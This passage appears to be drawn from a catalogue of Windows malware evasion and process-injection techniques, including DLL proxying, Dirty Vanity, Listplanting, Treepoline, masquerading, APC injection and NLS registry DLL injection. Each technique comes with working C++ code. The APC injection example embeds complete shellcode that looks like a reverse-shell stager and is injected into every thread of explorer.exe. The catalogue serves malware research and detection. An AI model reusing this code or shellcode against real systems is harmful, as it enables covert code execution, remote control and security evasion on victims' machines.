for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
    func = entry.name.decode('utf-8')
    exported_functions.append(f'#pragma comment(linker,"/export:{func}=proxy.{func},@{entry.ordinal}")')

exported_functions = '\n'.join(exported_functions)
print(exported_functions)

The provided Python script extracts all exported functions from a targeted DLL, in this case, DNSAPI.dll used by nslookup.exe. It generates pragma directives that redirect the exported functions to a proxy module. This technique allows the malware to redirect calls to the legitimate DLL functions to its own malicious functions, thus enabling stealthy execution of malicious code.

Dirty Vanity

Dirty Vanity

Map

  • Process Manipulating

  • Dirty Vanity

Description Dirty Vanity is a process injection technique that leverages Windows forking, which includes process reflection and snapshotting, to inject code into a new process. By utilizing primitives like RtlCreateProcessReflection or NtCreateProcess[Ex], along with specific flags such as PROCESS_VM_OPERATION, PROCESS_CREATE_THREAD, and PROCESS_DUP_HANDLE, this technique reflects and executes code in a new process.

The process injection process involves several steps. First, it utilizes methods like NtCreateSection and NtMapViewOfSection, VirtualAllocEx, and WriteProcessMemory to write the injected code into the new process. Then, it employs NtSetContextThread, also known as Ghost Writing, to finalize the injection process.

This technique is specifically designed to evade detection by endpoint security solutions. Since the injected code appears to be written to the new process rather than being injected from an external source, it can bypass traditional security measures.

Technique Identifier: U1242

Technique Tags:

  • Process injection

  • Windows forking

  • Process reflection

  • Snapshotting

  • RtlCreateProcessReflection

  • NtCreateProcess

  • NtCreateProcessEx

  • Fork Execute

  • PROCESS_VM_OPERATION

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • NtCreateSection

  • NtMapViewOfSection

  • VirtualAllocEx

  • WriteProcessMemory

  • NtSetContextThread

  • Ghost Writing

Featured Windows API's

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • GetProcAddress

  • LoadLibraryA

  • GetLastError

Code Snippet (C++)

#include "DirtyVanity.h"

unsigned char shellcode[] = {
};

int main(int argc, char** argv)
{
    // Check argument count
    DWORD victimPid;
    if (argc != 2)
    {
        std::cout << "[+] USAGE: DirtyVanity [TARGET_PID_TO_REFLECT]" << std::endl;
        return -1;
    }

    // Parse victim PID
    std::string pidArg = argv[1];
    try
    {
        victimPid = std::stoi(pidArg);
    }
    catch (std::invalid_argument const& ex)
    {
        std::cout << "[-] USAGE: Invalid PID choice " << pidArg << std::endl;
        return -1;
    }

    // Open victim process
    HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);
    if (victimHandle == nullptr)
    {
        std::cout << std::format("[-] Error using OpenProcess on PID {}: ERROR {}", victimPid, GetLastError()) << std::endl;
        return -1;
    }

    // Allocate space for shellcode
    DWORD_PTR shellcodeSize = sizeof(shellcode);
    LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (baseAddress == nullptr)
    {
        std::cout << std::format("[-] Error allocating shellcode with VirtualAllocEx on PID {}: ERROR {}", victimPid, GetLastError()) << std::endl;
        return -1;
    }

    // Write shellcode to victim process
    size_t bytess = 0;
    bool status = WriteProcessMemory(victimHandle, baseAddress, shellcode, sizeof(shellcode), &bytess);
    if (!status)
    {
        std::cout << std::format("[-] Error writing shellcode with WriteProcessMemory on Explorer.exe : ERROR {}", GetLastError()) << std::endl;
        return -1;
    }

    // Reflect the process
    HMODULE lib = LoadLibraryA("ntdll.dll");
    if (!lib)
    {
        return -1;
    }

    RtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(lib, "RtlCreateProcessReflection");
    if (!RtlCreateProcessReflection)
    {
        return -1;
    }

    T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
    NTSTATUS reflectRet = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, baseAddress, nullptr, NULL, &info);
    if (reflectRet == STATUS_SUCCESS) {
        std::cout << "[+] Succesfully Mirrored to new PID: " << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;
    }
    else {
        std::cout << "[!] Error Mirroring: ERROR " << GetLastError() << std::endl;
    }

    return reflectRet;
}

Listplanting

Listplanting

Map

  • Process Manipulating

  • Listplanting

Description Listplanting is a technique that leverages Edit controls, specifically Rich Edit controls in multiline mode, and ListView controls in Windows applications to execute malicious payloads. Edit controls can be customized to use the EditWordBreakProc callback function for word wrapping. Similarly, ListView controls can be manipulated using messages like LVM_SORTGROUPS, LVM_INSERTGROUPSORTED, and LVM_SORTITEMS to customize sorting behavior.

This technique involves triggering the execution of malicious payloads by exploiting the callback functions associated with these controls. For example, by utilizing the LVM_SORTITEMS message in combination with a custom callback function, it is possible to execute malicious code when the ListView control is manipulated, such as when sorting items.

Technique Identifier: U1207

Technique Tags:

  • Rich Edit controls

  • Windows controls

  • Multiline mode

  • EditWordBreakProc callback

  • Word wrapping

  • ListView control

  • GUI element

  • Display lists of items

  • LVM_SORTGROUPS message

  • Callback function

Featured Windows API's

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • CloseHandle

  • GetWindowThreadProcessId

  • GetWindow

  • VirtualFree

Code Snippet (C++)

#include <windows.h>

VOID listplanting(LPVOID payload, DWORD payloadSize) {
    HANDLE hp;
    DWORD id;
    HWND lvm;
    LPVOID cs;
    SIZE_T wr;

    // 1. Get the window handle
    lvm = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);

    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Treepoline

Treepoline

Map

  • Process Manipulating

  • Treepoline

Description Treepoline is a technique that exploits tree-view controls, commonly used in Windows applications to display hierarchical data, to execute arbitrary code. Tree-view controls rely on sorting routines to organize the displayed elements. This sorting behavior is controlled by a TVSORTCB structure, which includes a callback function (lpfnCompare) that determines the sorting order.

By sending a TVM_SORTCHILDRENCB message to a tree-view control, an attacker can specify a malicious callback function that will be executed when sorting elements. This callback function can contain arbitrary code, allowing the attacker to execute unauthorized actions on the system. However, it's crucial to note that such manipulations are likely to be detected by security systems.

Technique Identifier: U1208

Technique Tags:

  • Tree-view controls

  • User interface element

  • Hierarchical data

  • Graphical user interface (GUI)

  • Windows applications

  • Data structures

  • Item sorting

  • TVSORTCB structure

  • lpfnCompare field

Featured Windows API's

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • CloseHandle

  • GetWindowThreadProcessId

  • GetWindow

  • VirtualFree

Code Snippet (C++)

#include <windows.h>

VOID treepoline(LPVOID payload, DWORD payloadSize) {
    HANDLE hp;
    DWORD id;
    HWND wpw, tlv;
    LPVOID cs, ds, item;
    SIZE_T rd, wr;
    TVSORTCB tvs;

    // 1. Get the treeview handle
    wpw = FindWindow(L"RegEdit_RegEdit", NULL);
    tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(tlv, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Obtain the root item in tree list
    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);

    tvs.hParent     = item;
    tvs.lpfnCompare = cs;
    tvs.lParam      = 0;

    // 5. Allocate RW memory and copy the TVSORTCB structure
    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);

    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

    // 7. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

Process Camouflage, Masquerading

Map

  • Process Manipulating

  • Process Camouflage, Masquerading

Description Process Camouflage, also known as Masquerading, is a technique employed by malware to conceal its presence by disguising itself as a legitimate file. This tactic aims to evade detection by security measures and blend in with trusted system processes. Typically, the malware achieves this by renaming its executable file to match the name of a common and trusted system process, such as svchost.exe, and placing it in a directory where legitimate system files reside.

Masquerading involves manipulating or abusing the name or location of an executable, whether malicious or legitimate, to circumvent security defenses and observation. This technique has numerous variations and can be observed in various forms.

The process of masquerading is often executed through social engineering tricks, utilizing scripting languages like VBS or PowerShell to copy and rename files, employing built-in Windows commands such as copy and rename, or utilizing legitimate tools like xcopy or robocopy to copy files while maintaining their original timestamps.

Detection of this technique relies on analyzing file properties such as name, location, timestamps, and digital signatures, as well as observing the behavior of the process after execution.

APC Injection

Map

  • Process Manipulating

  • APC Injection

Description APC (Asynchronous Procedure Call) Injection is a technique employed by malware to execute custom code within the context of another process by attaching it to the APC Queue of a target thread. Each thread in a process has a queue of APCs waiting for execution upon the thread entering an alterable state.

When a thread enters an alterable state by calling certain Windows API functions like SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, or WaitForSingleObjectEx, the APCs in its queue are executed. Malware typically searches for threads in alterable states, then calls OpenThread and QueueUserAPC to queue an APC to the target thread.

This technique allows malware to run its code within the address space of a legitimate process, making it harder to detect and trace back to its source. APC Injection can be used for various malicious purposes, including code execution, privilege escalation, and evasion of security measures.

Technique Identifier: N/A

Technique Tags:

  • Asynchronous Procedure Calls (APC)

  • Thread Execution

  • Alterable State

  • Code Injection

  • Malware

  • Security Evasion

Code Snippet (C++)

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
    unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(1000 * 2);
    }

    return 0;
}

NLS Code Injection Through Registry

Map

  • Process Manipulating

  • NLS Code Injection Through Registry

  • DLL injection through registry modification

Description

DLL injection through registry modification of NLS (National Language Support) code page ID is a technique used by malware to inject a malicious DLL into a process by modifying the NLS code page ID in the Windows registry. This technique allows the malware to execute arbitrary code within the context of another process, potentially bypassing security measures.

There are two main methods to accomplish this technique:

  1. Using SetThreadLocale and NlsDllCodePageTranslation: In this approach, the malware calls the SetThreadLocale function to set up an export function named NlsDllCodePageTranslation, where the main payload is located. By modifying the NLS code page ID associated with the process, the malware can ensure that its malicious code gets executed.

  2. Using SetConsoleCp or SetConsoleOutputCP: Alternatively, the malware can use the SetConsoleCp or SetConsoleOutputCP functions to modify the code page ID. If the target process is not console-based, the malware can allocate a console using the AllocConsole function to enable the use of these functions.

Technique Identifier: U1237

Technique Tags:

  • DLL Injection

  • Registry Modification

  • NLS (National Language Support)

  • SetThreadLocale

  • SetConsoleCp

  • SetConsoleOutputCP

  • AllocConsole

  • Malware

  • Proof of Concept

  • Position-Independent Shellcode

  • Remote Process Stager

  • Loading of DLL

Featured Windows API's:

  • CreateRemoteThread

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • CreateProcessW

  • RegSetValueExW

  • RegOpenKeyExW

  • RegQueryInfoKeyW

  • RegEnumValueW

  • SizeofResource

  • LockResource

  • LoadResource

  • CloseHandle

  • GetLastError

  • CreateFileW

  • WriteFile

Code Snippets (C++)

// NLSRegistryCodeInjection.cpp

#include "payload.hpp"
#include "headers.hpp"

uint32_t main(void)
{
    std::initializer_list<std::wstring> list = { L"SYSTEM\\ControlSet001\\Control\\Nls\\CodePage", L"Payload.dll" , L""};
    auto regObj = std::make_unique<RegistryManipulation>(list);
    if (OpenKeyForNlsModification(regObj.get()))
    {
        std::printf("Payload executed successfully :)\n");
        system("pause");
    }

    return EXIT_SUCCESS;
}

// payload.cpp (part of the code)

bool OpenKeyForNlsModification(PRegistryKey regObject) noexcept
{
    bool bResult = false; 
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regObject->getStringBuffer(Index::SUBKEY_KEY_VALUE),
        0, KEY_ALL_ACCESS, &regObject->hSubkeyNls) != EXIT_SUCCESS)
    {
        std::printf("Could not open handle to subkey of codePage!, LastError [0x%x]\n", GetLastError());
        return bResult;
    }
    if (!DropSystemDllPayload(regObject)) {
        std::printf("Payload dll has failed to drop main payload \n");
        return bResult;
    }
    if (!IterateCodePageAndExtractProperId(regObject)){
        std::printf("Could not iterate key for proper modification. Last error: [0x%x]\n", GetLastError());
        return bResult;
    }

    if (CreateProcessToInject(&regObject->m_procInfo))
    {
        InjectStagerToPayload(regObject);
    }

    return bResult;
}

References

  • MalDev Academy

  • Nooranet

  • unprotect project